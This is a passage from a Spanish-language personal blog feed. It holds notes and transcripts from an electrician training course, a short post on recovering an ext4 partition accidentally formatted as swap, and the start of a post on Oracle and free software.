<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvR-XpS7Lm2D_grouQfvaGL8HIeem4e4Q5DgByEEMPbFOYl6fLHsfyVXNGWVNlwnDnEGaslLKErzlmCmPHO6f5n48TUtkO9xtMKShGdYy98rE7Gt5N4Mo5yaORYg7Lfvf_GWo3gh8wJ3LabL2Z8z2PTMy_G4Xr-dgv3426WLXYwfByfLHxCTaYaN6DEFY/s4160/IMG_20250422_191934667_BURST001.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6dS5YL6kT2JM0enfyJyDZWcZH2L2A39xo3xnASmkF-8F8cp_1xbKh9DbdELOUYQ2XN_2q6U0jV9ONbOHdKRp4GKKYqcxCvudiqqNwg7wWcNlDaZJ29t5mRL5u-d0e54GaTa4reZJBfs-kwedkoUJgOuYUbXOI2fQgnFKhdFvdlyRMz5Fh-WccO-NTUXU/s4160/IMG_20250422_191938582.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoud0D-JHHsRk9yMoIB9-ef9k4LflQZWYSfb335zfjKMabD-W5bArvplvbQavBSgNq14YjykPQI5bPXhY35V3AdHAacJMDgRZcQ9G9p5NEfPS9KEAq0pZbet2CKRgHBoq0VV3YsdN2x9TZSlV5y4rkeOR5oiIJp2WGi49-TtKkYmwZbeL-CbV2zNA8Dts/s4160/IMG_20250422_193647351.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwTXttw23odhZRenzZHBZDw5E2ygHu7p9O_x9OGGtM2uZD_CmRqWrQxKjx8wjG2Y2-itsA-cwFVOa5PcSHM7dSW239VIBTXhGIEVRmuCB8IDNRFyegIz8iwql-DZlBA60nL_f0wUZBSD_GyBDqbtiIxiSsUtDVfc-0fClpG6QSkxln21irOZtsDYBy6FQ/s4160/IMG_20250422_194847117.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbZgWpGel-DJMjC6eSJ9MMRp59r-sFfCIGBWwy8jPB_bcXTvq8Oil0bIw0BwJDUdX3FLRE6R-ay5VitXZczg1p8hgacF7HG2AOBgwR0QAyZQs7j2LL0qyJZxRbux8H24vbYd-DIgbjwznIXmlOxLtlp1FJvDmh-2zK2wzYQ40JgdVYVq-sbGViLRblVr8/s4160/IMG_20250422_195630553.jpg" alt=""></p>
<hr>
<h5 id="transcripción">Transcripción</h5>
<p>Imlauer vos vas a elegir ir para aquel lado o ir para este lado, hay 4 atrás, 3 chicas y el señor ahí y acá tengo 3 y 3. Dónde vos quieras elegí porque vamos a tratar de hacer de a 4.
Así va a ser mucho más fácil.</p>
<p>Minuto
Mi hermanos en los años 90 iban a la industrian y para cancelar las clases puenteaban fase y neutro y salteaba la instalación.</p>
-
Electricidad / Clase 15: Canalización. Doblamos caño PVC con la rodilla y caño resorte, radio (56mm). Perfilería: es como un caño hacer empalmes ahí está prohibido. Prohibido sujetar con cable canal. El resorte depende del caño que sea, y todos los resortes son para cañería liviana. Al profesor le rompieron una perforadora con percutor porque la empujaban. Como máximo 2 curvas. Para evitar CURVA y CONTRACURVA se hace la S. Sistema en bandeja, nunca hacer la unión es lo mismo que una canalización: Tendría que meter una boca, una caja, octogonal acá o lo que sea y después ahí hacer la unión. Subterráneo por las bandejas. Ciudad del Este encarnación, USA quiere triplefrontera, no dejar auto en Ciudad del Este dejarlo en Brazil. Si pasas 2 o 3 veces en encarganación te revisan todo el auto. Paraguay Box. La idea de los políticos es hacerse más plata ellos y no poner tanta industria. Diputado gana 20 millones de dólares por mes y no va a 2/3 secciones al mes. Espeche no tiene la idea de que el político haga cosas por nosotros. NO tengo que entrecruzar los caños, hacerlo de la forma más prolija para evitar el entrecruzamiento. No me hagas un caño que cruza por encima o por abajo del otro. Siempre el mejor electricista tiene que seguir una determinada estética. Hay algunos que atornillan la placa al durlock. Yo vi muchas obras con durlock que adentro no van tuberías adentro le mandan corrugado no más y a la mierda.
https://imlauera.github.io/electricidad15/
Tue, 22 Apr 2025 14:11:06 -0300
https://imlauera.github.io/electricidad15/
<h6 id="audio-en-vocaroo">Audio en Vocaroo:</h6>
<p><a href="https://voca.ro/1ducR52fkSsq">https://voca.ro/1ducR52fkSsq</a></p>
<h6 id="audio-en-archiveorg">Audio en Archive.org:</h6>
<p><a href="https://archive.org/details/record-92">https://archive.org/details/record-92</a></p>
<h6 id="audio-en-youtube">Audio en YouTube:</h6>
<p><a href="https://www.youtube.com/embed/5z4CWtm1z_A">https://www.youtube.com/embed/5z4CWtm1z_A</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkPMOWPHxPVGuh9bRttWjXb3CAiYKnf0nqgg2HhovkRTWJR1gihlmGajXWfFIJ1uVuv7y5IrT2OdvC-A-qUiA52YS514SgvJL0T92IicpaF5JfzcFyTPOgr9jORBzsh-oeGah-NDFpg17auoryEqdd6ju_ZrfsIrwxithbaz6_yWZfwYKmK1NEsGiTK0k/s4160/IMG_20250422_182437335.jpg" alt=""> <br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWRjLMgVd9lCtq9TtO3CICszitK_T4AVe_Bx0hx34In2iF0sNRcWVlXobhFmmyYkbvA3iQefcom1OuuDOBkpqcZf-ztzJzS6CdAcmT1rJv9YJBiN7ZAWwrPSHsTZu7N5gdYQF9v4OGldPi-PJRa3UsD09wLkI-5GuoM9bNGX6GcY6UanyBaVrbCeUB4LU/s4160/IMG_20250421_184123019.jpg" alt=""> <br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1s-CJR0bFzcVOI3sEgvSdIbtKZtVoCCRK6JJVsU8ZQkn_ITYM2z1wH6xMY_2hif-zGA_NOhSYyrwBeHRyw8kl0lcIGC36G6-1IgHdZZQRU9Vq_XubmQR4p_n3pEeNb7GWI1-1Xh_l7Kr0FeBJUDMPoj7eVmYwE8gIAnnakIoC2BJ4ncVNnKIx6gq5NXI/s4160/IMG_20250421_201749037.jpg" alt=""> <br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhH-_79wwsA0x3vYMxq88Qyg0jjmNCdQqIq_RwlEed-8ikmaCGAv2t0Oqr7BL44vWOzcJdc-4eXzANhwwfjcXUnCvSZZmLheGfyrH8Caon-iMJl9fPRuQmMzNAl7LAXlBv0cCiR6nokJQuQDcWCBFT0E2g5LHJYzYP6sBOXmwbZ3X5T0FELm0qTamPTWs/s4160/IMG_20250421_201752348.jpg" alt=""> <br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrIfGwN0rOeZotqdaWT2IjZ3bns3wPPmJRWdmWKM6XDKhe_ufqAcPJwQjLKPjkAfhY068vp2xXthFshJ3olfPjgFNaqOiyyrusKMaLiOY5A8G26s1wjNtRy3FkOoZXOCltSp0LzQ88kO74IRHq3BTSGRtST8vxHv0_GQ0UBcGh09eEMAfe2dQyxMZ2K8s/s1599/WhatsApp%20Image%202025-04-17%20at%2010.16.59%20AM.jpeg" alt=""></p>
<p>Acá están todas las notas que tomé hasta ahora (son una cagada) con el audio y las fotos te debería bastar: <a href="https://imlauer.blogspot.com/2025/04/notas-de-mierda-del-curso-de.html">https://imlauer.blogspot.com/2025/04/notas-de-mierda-del-curso-de.html</a></p>
<hr>
<h6 id="transcripción">Transcripción</h6>
<p>Minuto 1: Se saludan.</p>
<p>Profesor: Vamos a ver si mi ayudante va a venir.</p>
<p>Aparentemente las cajas salen iguales o sea el precio, así que el que le gusta el… Voy a empezar a vender, el que le gusta PVC usa PVC al que le gusta el otro… Así que..</p>
-
Electricidad / Clase 14. Canalización. Leímos catalogo Genrod (Tubeelectric). Exámen entra esquema de una acometida.
https://imlauera.github.io/electricidad14/
Fri, 18 Apr 2025 18:22:20 -0300
https://imlauera.github.io/electricidad14/
<h6 id="audio-en-vocaroo">Audio en Vocaroo</h6>
<p><a href="https://voca.ro/1bSaDxOxewXW">https://voca.ro/1bSaDxOxewXW</a></p>
<h6 id="audio-en-archiveorg">Audio en Archive.org</h6>
<p><a href="https://archive.org/details/record-89">https://archive.org/details/record-89</a></p>
<h6 id="audio-en-youtube">Audio en YouTube</h6>
<p><a href="https://www.youtube.com/embed/4DZGSrwLy4o">https://www.youtube.com/embed/4DZGSrwLy4o</a></p>
<h6 id="leímos-el-catálogo-genrod-en-un-televisor">Leímos el catálogo GENROD en un Televisor</h6>
<p><a href="https://archive.org/details/catalogo-tubelectric">https://archive.org/details/catalogo-tubelectric</a></p>
<hr>
<h6 id="transcripción">Transcripción.</h6>
<p>Había menos alumnos porque el profesor mandó que no había clases ese día.</p>
<p>Yo: Acá solo hay lunes, martes y miércoles. <br>
Sebastián: Acá nosotros sí. <br>
Yo: Pero los otros también, solo 3 días. Yo pregunté si había otros cursos otros días y dijieron que no. <br>
Sebastián: Capaz aglutinan todo. <br>
Juan Cardoso: Solo a la tarde no más, ¿no tienen tienen de mañana así cursos? Solo a la tarde nada más, a partir de las 6. <br>
Yo: Y yo pregunté si había otros días y me dijieron que no. <br>
Juan Cardoso: Que no. Ah, jueves y viernes tampoco. Ah solo 3 días nada más, todos los cursos. <br>
Sebastián: Que raro. <br>
Yo: O sea que si vos querés hacer uno, tenes que terminar este y empezar otro. <br>
Juan Cardoso: Ah empezar otro, ¿el próximo año? <br>
Sebastián: Sí, pasa que estos cursos tienen una alta tasa de abandono. Terminan muy pocos, entran 40 ponele 12. <br>
Juan Cardoso: Consigue trabajo y deja. <br>
Sebastián: Claro, eso de última es bueno. <br>
Juan Cardoso: Por ahí no les gusta porque la charla no le gusta, la práctica. <br>
Sebastián: Sí. <br>
Juan Cardoso: En Itaembé Guazú tenía otro instituto? <br>
Sebastián: Yo ví que había 2 sedes en Instagram, pero por lo visto fue el año pasado. <br>
Juan Cardoso: Pero tiene otro allá en Itaembe Guazú y deja ¿? <br>
Sebastián: Sí, y tenía otro profesor que iba allá, parece que cancelaron esa sede. Yo me anoté en enero, entré a Google Forms tenía en Instagram todavía estaba activado le mandé y en Febrero me avisaron por vía WhatsApp y ahí en ese Google Forms estaba las 2 opciones o Itaembé Guazú o acá. <br>
Juan Cardoso: Por eso buscas los cursos para salida laboral rápida esos cursos de refrigeración, aire acondicionado. Lo que más se usa ahora. <br>
Sebastián: Sí. <br>
Juan Cardoso: Hay cursos que ya no sirven más porque no tienen salida laboral. <br>
Sebastián: Cuál? <br>
Juan Cardoso: Por ejemplo carpintería casi ya no tiene, muy poco de carpintería hay. <br>
Sebastián: Tenes que tener una inversión para las herramientas. No hay. <br>
Juan Cardoso: Claro, la carpintería. <strong>De aluminio es que se hacen, ya no hay casi más de madera no se usa(carpintería)</strong>. <br>
Sebastián: Pero de muebles sí. <br>
Juan Cardoso: De muebles si no?</p>
-
Como recuperar particion: Formatee una partición de ext4 como swap por accidente.
https://imlauera.github.io/recover_data/
Fri, 18 Apr 2025 09:24:49 -0300
https://imlauera.github.io/recover_data/
<p>Formatee una partición de ext4 como swap accidentalmente. Que capo.</p>
<p>ChatGPT me dió respuestas boludas durante 1 hora estuve boludiando con eso. El 1er resultado de Google me dió la respuesta.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo blkid /dev/sda5
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>/dev/sda5: UUID<span style="color:#f92672">=</span><span style="color:#e6db74">"ddebee74-bcb2-45ce-86e5-0d79bb0bf80f"</span> TYPE<span style="color:#f92672">=</span><span style="color:#e6db74">"swap"</span> PARTUUID<span style="color:#f92672">=</span><span style="color:#e6db74">"093b9d2d-69d3-4eed-beeb-f6276b63faae"</span>
</span></span></code></pre></div><p><a href="https://old.reddit.com/r/linuxquestions/comments/k9m61h/accidentally_ran_mkswap_on_ext4_partition/">https://old.reddit.com/r/linuxquestions/comments/k9m61h/accidentally_ran_mkswap_on_ext4_partition/</a></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo dumpe2fs -h -o superblock<span style="color:#f92672">=</span><span style="color:#ae81ff">8193</span> /dev/sde2
</span></span></code></pre></div><p>If 8193 doesn’t work, try 32768. (There’s a bit of complicated logic to determine where alternate superblocks might live. Hopefully one of these two will work on your filesystem.)</p>
-
Electricidad / Clase 13. Siempre sacar una foto antes de tocar un tablero porque después te quieren echar la culpa. Catálogo INET cursos formación profesional. Usar el tester para saber cuál es el neutro si es del medio o el de afuera en el medidor monofásico. Si yo tengo una distancia menor que 5 metros directamente pongo disyuntor, sino tengo que poner un interruptor principal de cabecera porque hay una distancia muy grande y en ese trayecto puede haber un cortocircuito. Tiene 4: 2 entradas y 2 salidas. Entra hasta 35 mm^2 de diámetro. Transformadores TI para medir amperage. La puesta a tierra no es solo 1 conductor sino es todos los elementos la bornera el conductor que va abajo la jabalina, el acople, la cámara de inspección. Página 31 para allá. La fotocopia no tenía puesta a tierra. Empalmes por el suelo (botella de empalme) antes se hacía con gelatina hoy se saca del piso para hacer el empalme. Gente saca tapas costanera. Si yo tengo que unir un cable subterráneo lo tengo que unir pero mi caja de paso tendría que estar por lo menos a 30 cm del suelo y ahí hago la conexión con otro, no en la tierra. Electricista en vez de comprar un fusible NH nuevo, dejó 2 fases anduvo un tiempo hasta que se quemó. 1,5mm^2 térmica de 10. 2,5mm^2 térmica de 16. 4mm^2 térmica de 20. A un electricista la empresa te dió todas térmicas de 20 amper y no protegían los cables, Espeche no lo aprobó. En ese caso hay que hacer firmar a la empresa que trajo térmicas incorrectas. Se usa barra peine porque sino el borner este me soporta las cargas de la suma de esta corriente más esta corriente. Ojo de buey. Térmica tetrapolar de 40 trifásica. Todos los cables que alimentan todas las térmicas de arriba son del mismo milímetro (2mm^2 o 4mm^2) y se hace en forma de bucle sin cortar el cable. El radio por norma al hacer el doblez de los caños. Una vez que fijo acá la caja y los caños, termino la mampostería, recién hago el cableado. No se permite las uniones o derivaciones de cables en el interior de los caños. Bornera de distribución. Alumna pregunta sobre como mejorar instalación de su casa. Entrada de hombre: 80 kilos pisar clavadores. Profesor hizo instalación de alarmas gateando. Alarma no se debe ver cables. Madera entre clavadores. El machimbre hay de media, de 3/4 pero se usa el de media porque es el más barato y no aguanta el peso, pero los clavdores sí.
https://imlauera.github.io/electricidad13/
Tue, 15 Apr 2025 22:15:25 -0300
https://imlauera.github.io/electricidad13/
<h6 id="audio-en-vocaroo">Audio en Vocaroo:</h6>
<p><a href="https://vocaroo.com/1efmU5QFpIEW">https://vocaroo.com/1efmU5QFpIEW</a></p>
<h6 id="audio-en-archiveorg">Audio en Archive.org</h6>
<p><a href="https://archive.org/details/record-86">https://archive.org/details/record-86</a></p>
<h6 id="audio-en-youtube">Audio en YouTube</h6>
<p><a href="https://www.youtube.com/embed/UTkGo4YMaos">https://www.youtube.com/embed/UTkGo4YMaos</a></p>
<p><a href="https://www.energiademisiones.com.ar/planos-del-pilar/">https://www.energiademisiones.com.ar/planos-del-pilar/</a></p>
<h6 id="archivos-enviados-por-whatsapp">Archivos enviados por WhatsApp</h6>
<p><a href="https://archive.org/details/aea-770">https://archive.org/details/aea-770</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6DNOlZYSgyUOs6GEHzjkKsbPZtqGWLgmD2b87csBttxK3HsB8XymYuLjnvWvloY3lDMBPTjZ_lBbLhbnYZ4tM5E-DnzdWYqQmJPhYLH_siOeissLpu4SIBQj3V6p4FApGYpKFEAsIPHFNYtpCOEPS-hHTFe21aoWFFuGNZd-RzYn3CBiJ0F01xRFApj0/s4160/IMG_20250415_184909742.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhncCzKpIJR8eNFm4FYe40vSTshMhKJVKbuUB8P0YsKNxY86Q16nOH2_1VD6ZlzLH0ebSepgDtgkW2n-HZm_UW5ZXWZY9b20HvkibqJjtG_COhh9lo55MgB5v52mDqtERwU4j2LG5ITEBrpzou_TvCAc7LNB19fvoqbxpXy8UOhXORQhP-Y7oPsipaQfv4/s4160/IMG_20250415_184904446.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgz-he3XRS0VXEkZSlTrRXSrk4psL9JQ1AF1saGbRoOnAVjAQn4gnOgk7n7jg-6QX0BAQqwMilnCgICmq4f7MX3MFsUV9_PCM5X2RPnzHkwOyhURqfGh_MNV0rACKPERCz3QIVnZcjjRjL4xNFDRyqWoJqyT4-Yl0Gf5tgCHqeL4pQsGm8kbL0uQoDKSv0/s4160/IMG_20250415_193247963.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_UXMuiyLP783LHQnNpmTFIH6ntcYBlPxPXAOAwaJRFa7-9Syb1ETA_zqI9I0myqGAss0Z-4jzlEvJchyGDh2j7nzKGLzRJ74sjIp7DH4PDBI7yyfC94Hzm5ujuscK8Xa7MKvnKfiSx7mAyIeYTP0Yp9wgaJLprSPdfeARRBvGLe8WPlpWOTSN67PN2DI/s4160/IMG_20250415_194559822.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwUl1X5evLowOWEUQBCQ4X7GxqylBu-f-8g2OvLTvvKoZjkw59gCejGIbaJ_yoVEes5N_slzIONmv1kySzRZSs62T4yVeT5-QnPrh9s4UkgqS7IQuXKzOUEnVRq63lIeBmnOPpS335VA_52G5mZ7AaS58EOX8tma5t7Ammo4D5qri9FJWzlaeCxyAHamw/s4160/IMG_20250415_194547801.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgz-he3XRS0VXEkZSlTrRXSrk4psL9JQ1AF1saGbRoOnAVjAQn4gnOgk7n7jg-6QX0BAQqwMilnCgICmq4f7MX3MFsUV9_PCM5X2RPnzHkwOyhURqfGh_MNV0rACKPERCz3QIVnZcjjRjL4xNFDRyqWoJqyT4-Yl0Gf5tgCHqeL4pQsGm8kbL0uQoDKSv0/s4160/IMG_20250415_193247963.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjomWoTcj_ySbkdOhOeMFTSxt-vXnRwZjw6Ic_THs0EcW8VM0EO9kiCi-c0-Hnbf_BaMKYYPWdKu3ywrKVP_0FZLoFTQ83rUygt3fp2XTsk1m9hn-OX8v-G8qCbjAlvUZ5nMzDfyEwYMuMwHYFuUBZIghRKjxvpc2l_IIbxlq9P3PUAcer8OtxWPyQZ0Zw/s1600/IMG-20250415-WA0007.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeoPnlZ-5vPcM4XBSVV2ryQumYWiEndT__i-5SGIgboEnFhj6M01KfpM8ClLJFiWn2IN81d6SHKqrm_9wxVbACuansiJVs3tUPJQn-3jUnKTsoLAcFDIX344RF-D9uBiavPjhol835S1QbMTK646SH0iTgf-P22Z_YRFyMrm6jZG9wkeS6ROrxH_XXZf8/s4160/IMG_20250415_200803401_flipped_leiva.jpg" alt=""></p>
<h4 id="transcripción">Transcripción</h4>
<p>Sebastián: Que pasa si entra uno nuevo y no rinde y afuera? <br>
Rubén Leiva: No. <br>
Sebastián: Entran casi siempre gente que sabe? <br>
Rubén Leiva: No, en ese caso cuando hay una primera baja una vez llegué cuando estaba uno eran 20 ahí me cansaba amurar. En Itaembé Guazú laburé 10 años cuando empezó con todo ese movimiento yo estaba en guau una empresa constructora y ahí mi amigo me invitó laburé allá y ahí todo va por la tierra: la luz, todo todo. Como se hace. <br>
Sebastián: Re bien. <br>
Rubén Leiva: Sí, y ahí como estaban diciendo ese día el cablerio todo por debajo de la tierra, el cable LILA que tenía ayer el grueso, todo eso. <br>
Yo: El subterráneo. <br>
Barrientos(Vendedor): Vos trabajas en una empresa? <br>
Rubén Leiva: Sí <br>
Barrientos(Vendedor): Y esto después vos presentas te sirve el curso? <br>
Rubén Leiva: Sí, me sirve porque va directamente a mi tarjeta girí, en mi tarjeta jiri ya está cargado que yo soy un oficial albañil pero a eso ahora me van a cargar si completo este curso, aparte de auxiliar albañil, auxiliar electricista esto te sirve porque vos presentas a la empresa y dicen ah mira este sabe algo de electricidad, vamos a agarrarle. Con ese título no vas a entrar directamente a ser electricista en una empresa porque ya tienen gente. Uno va escalando y después hace todo lo que es electricidad, tengo un amigo que el trabaja Itaembé Guazú y estudiaba en la UOCRA no sé si era acá electricidad, recibió el título después le dijo al… <br>
Barrientos(Vendedor): ¿? (Minuto 02:50) estaba por Lopez y Planes <br>
Rubén Leiva: Creo que sí, y ahí después le dijieron bueno acá tenes electricidad empezó a hacer lo que es la canalización todo y después en las obras ya él solo electricidad tiene, limpito ni se ensuciaba solo hacía la parte de electricidad y era uno de la manada. <br>
Yo: Ah pero hizo el curso? <br>
Rubén Leiva: Hizo el curso sí. Y le sirvió un montón. <br>
Sebastián: Y hacía bien? <br>
Rubén Leiva: Sí, como dice el profesor eso ya después vas agarrando confianza con distintos laburos que haces. <br>
Yo: Y era auxiliar o montador? <br>
Rubén Leiva: Creo que no llegó a montador. <br>
Sebastián: Acá hay un curso de albañil también. <br>
Rubén Leiva: Acá si. <br>
Sebastián: Y también te cargan a la tarjeta. <br>
Rubén Leiva: También te cargan. El otro día estaba el político este el concejal me parece <br>
Barrientos(Vendedor): Él es el presidente del consejo. <br>
Rubén Leiva: Claro, él estaba allá afuera ese día. <br>
Barrientos(Vendedor): Él es el apoderado de la UOCRA. <br>
Rubén Leiva: Sí, fui a sacar fotocopia para el profesor y estaba ahí, ese día se entregaba la tarjeta acá. Y ahí yo le dije yo ya tengo tarjeta como sería en mi caso? Y me dice vos ya no te hacen tarjeta nueva, te cargan en la página y te dan el diploma. <br>
Barrientos(Vendedor): Cuando estaba ahí por Lopez y Planes hice el de oficial albañil y el antepasado hice el de construcción en seco y un día me llamaron yo estaba haciendo construcción en seco(el curso) así como ahora te llaman del cuartito con globos y era para entregarme un diploma no más, porque después fue la pandemia viste que no hubo. <strong>Yo hice el de plomería primero por Lopez y Planes: Auxiliares en Instalaciones Sanitarias con profesor un arquitecto</strong> y está muy bueno eso pero medio que no le dan bola pero un montón de cosas aprendes y después te das cuenta que en tu casa está hecho todo mal. <br>
Leiva: Y eso pasa con la electricidad cada día vas aprendiendo y decís en mi casa está un desastre. <br>
Barrientos(Vendedor): El oficial albañil está muy bueno pero no tiene tanta práctica vos querés creo que hicimos mezcla después hicimos una pared allá hicimos ¿? (Minuto 05:35) <br>
Leiva: Claro y no es tanto teórico más práctico para mi. (No entendió, Barrientos le decía que era más teórico que práctico). <br>
Barrientos(Vendedor): Es práctica pero también está muy bueno y el de construcción en seco también, si todos los cursos están buenos. <br>
Leiva: A mi me gustaría después de esto el año que viene <strong>es refrigeración</strong>. <br>
Barrientos(Vendedor): Yo hice 10 mil cursos, hice en su época el 1er curso que hice fue el de soldador ahí en la UPM(Universidad Popular de Misiones) estaba allá en el Mercado Central a las 2 de la tarde un calor un aula de chapa y re bien, por lo menos yo no sabía nada, no sabía ni como. Yo siempre hice mucha electrónica mi papá todos se dedicaron a la electrónica, casa de electrónicos. Yo estuve 20 años arreglando celulares, cables todo con 12 voltios no más y bueno eso me sirvió.</p>
-
Electricidad / Clase 12: [FOTOCOPIA] Uniones caño caja. Cupla. Curvado caños. Sistema U. Colocación. Planos de pilar EMSA. Leemos fotocopia normas IRAM. Caños 5/8 solo en línea recta. Que hacer cuando no tenes cupla. Hay que llevarse bien con la gente de la obra sino te tapan todo con cemento. Diámetro mínimo de los caños. Ahora piden caño PVC ya no más garbanizado, todo de PVC hasta el gabinete. Como dar alimentacion a un quincho. La sujeción le da el tornillo que está acá abajo. Como calcular la cantidad de cuplas: por cada caño 2 cuplas. Calcular cantidiad caños: divido por 3 (3 metros tiene cada caño). El ayudante habla en portuguez. Pinza cortacaños solo sirve para caños ligeros. Obligatoria la puesta a tierra. En Oberá el gabinete ocupan 2 caños salida es inteligente. 50 mm son más o menos casi 2 pulgadas. Factor de simultaneidad. P=VxIxcos(fi) esto es corriente alterna esto más o menos tiende a 1. Dentro de un caño en un sistema monofásico se puede colocar hasta 3 circuitos. Pinzas de anclaje. La acometida deberá tener una flecha de 30 cm.
https://imlauera.github.io/electricidad12/
Tue, 15 Apr 2025 07:27:54 -0300
https://imlauera.github.io/electricidad12/
<h6 id="audio-en-vocaroo">Audio en Vocaroo:</h6>
<p><a href="https://vocaroo.com/1dx7HunJiApZ">https://vocaroo.com/1dx7HunJiApZ</a></p>
<h6 id="audio-en-archive">Audio en Archive:</h6>
<p><a href="https://archive.org/details/record-82">https://archive.org/details/record-82</a></p>
<h6 id="audio-en-youtube">Audio en YouTube:</h6>
<p><a href="https://www.youtube.com/embed/VDcXUfq6rvs">https://www.youtube.com/embed/VDcXUfq6rvs</a></p>
<p><a href="https://www.energiademisiones.com.ar/planos-del-pilar/">https://www.energiademisiones.com.ar/planos-del-pilar/</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpAjSN0mu_UmD369sYu-q82f89D-v_P5WqaXnaxfnucFnGZpnRplJBmgBEbGa3o-IPBih-6TEj-eu8x6qmQZQR3cEUmDsIvs_vumJhywK3h7nGfmYnsVNtlXP7mh5ZrSKB0Ebhai16gIn4B0wpKoOc6QTcXhKz61Q2ulU7VBihT3smlaB_o_sWMOFC2mo/s4160/IMG_20250414_203006264.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKMBpB6_W705WQlOtlY8CakcgR5u86hqtxYLoDSmcZZ_NR1HND4KvxoxeLo8S1FZADsGDE7KoLKj7qfUajaksp02NcpyJjphq8CYDcaRxXQttfaxd1P2zNe_mF_LmSsjmkRUVqIL-CojOwqZBvKSnVHt691KcEpoHNz3FLScIKx568tQOVzlBa2mS5Nz4/s4160/IMG_20250414_185021883_HDR.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLdqIN5FZuMQjJk6-U6hZFqqbaXomHECG8cJ7jM9k8cLOZHshh96fKDWfV9wO_kXStTFWBUHWA62AmSaa4dC5JjcW7mCczDYEIjXx1VvgIJEA9322MSNfLktnoDwHESp5MsiXWarE62utxDSVFne-FS3DEApozFUnv96P3Pej0TrPkNLLsjJnpebVBMOs/s4160/IMG_20250414_195948867.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-aEzxvR2S5G4lrCALU2kcPsRQR7aVLS6M2WP1ohv-jXXrdTKjkPFIPUDj0aYWAthMZI5i0tBUpd8l8opuz9Oy6f7bDdA7o_bfkcXsZD9zW2Pn9M7SV5FCoYpO7Q0Z9jAWmeTZcCAR_buV0u1Zqls9n1ktLDGHuQJS2tl2NBKDR9CW517nnaA-0RchoIg/s4160/IMG_20250414_203001133.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRJkKmosUfplYhfAnQreGL93ZyKk1JvIXknljwdgpWJ2c8I4HCHhUMQMuiNRP3ZqFvcopJS_BnJobRhX_yHHqy1IHYzhCdJrZ4zf3ksS1IFsnzLoH6XzHGeIvWG9f3ogrAJXcblwSUgn1mL6OLJ8TiULdWOmYewqVyppOEtHaxUS_bupcFGNqlzEKlaiY/s4160/IMG_20250414_202709058.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRJkKmosUfplYhfAnQreGL93ZyKk1JvIXknljwdgpWJ2c8I4HCHhUMQMuiNRP3ZqFvcopJS_BnJobRhX_yHHqy1IHYzhCdJrZ4zf3ksS1IFsnzLoH6XzHGeIvWG9f3ogrAJXcblwSUgn1mL6OLJ8TiULdWOmYewqVyppOEtHaxUS_bupcFGNqlzEKlaiY/s4160/IMG_20250414_202709058.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2wPbBRZqjP9cxQ8EJzuAzEX3QszA9ysbTRBkHfrTboErcuwavxJGbnuX6xn0IZszga0bYFPDryrHONX0sU9V2PWUNmqc3srdwFNsMXh3gJXqFQHrKmHFfg-szgbmkBLWyHvLxhLepsz_mvdQR5yIjts-pYU4SKTdA2ZRuovWFy79YHBk-EBViVLCybtg/s4160/IMG_20250414_202719036.jpg" alt=""></p>
<p>Palabras claves: siempre, siempre les (Control+F) XD</p>
<h5 id="transcripción-audio-minuto-940">Transcripción audio (Minuto 9:40)</h5>
<p>Bueno no hay posibildades del proyector que barbaridad voy a tener que comprar algún día uno. Este guardamos mañana o pasado vamos a hacer, vamos a ver que es lo que vamos a hacer. Entonces por lo menos algo vamos a hacer con esto.</p>
<p>Bueno, che voy a tener que comprar un proyector no más o traer un televisor afanado de algún lado, no puede ser dijo el brasilero.</p>
-
Oracle vs software libre
https://imlauera.github.io/oracle_vs_software_libre/
Mon, 14 Apr 2025 06:58:03 -0300
https://imlauera.github.io/oracle_vs_software_libre/
<p>Oracle ha sido una figura polémica dentro de la comunidad de Linux y del software libre en general. Te explico por qué muchos usuarios y desarrolladores ven a Oracle con recelo, junto con un resumen histórico:</p>
<hr>
<h3 id="-1-adquisición-de-sun-microsystems-2010">🔥 <strong>1. Adquisición de Sun Microsystems (2010)</strong></h3>
<p>Sun Microsystems era la empresa detrás de tecnologías muy queridas por la comunidad de software libre, como:</p>
<ul>
<li><strong>OpenOffice.org</strong></li>
